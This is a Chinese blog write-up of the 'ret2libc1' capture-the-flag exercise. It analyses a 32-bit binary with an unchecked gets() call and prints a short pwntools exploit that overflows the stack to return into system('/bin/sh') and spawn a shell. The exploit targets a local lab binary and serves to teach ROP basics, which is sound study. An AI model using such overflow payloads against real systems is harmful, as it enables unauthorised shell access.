ROP-基础-ret2libc1

文件下载地址:

链接:https://pan.baidu.com/s/1DN4q7Dl5J45rIysA0DvZ5A
提取码:0wn8

0x01.分析

checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,仅开启栈不可执行。

查看源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

存在gets,开始接下来的寻找:

发现存在system和/bin/sh。查看/bin/sh:

找到地址:0x08048720

继续查看函数,发现:

点进去,得到地址:

地址为:0x08048460

由pateern的offset的确定偏移量:112。

思路是控制程序返回到system的地址,然后调用/bin/sh。

0x02.exp

##!/uer/bin/env python
from pwn import *

r=process('./ret2libc1')

sys_adr=0x08048460
binsh_adr=0x08048720

payload=112*'A'+p32(sys_adr)+4*'A'+p32(binsh_adr)
r.sendline(payload)
r.interactive()           

0x03.总结

后面的 4 * 'A' 其实是system的返回地址,是随便设的,主要是后面的参数bin/sh地址要正确。

栈中ebp一下的部分从上到下依次是(低地址到高地址):

  • 返回地址(覆盖为sys的地址)
  • system的返回地址(随便设)
  • system的参数(/bin/sh)
发布了68 篇原创文章 · 获赞 75 · 访问量 6056

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104563942
今日推荐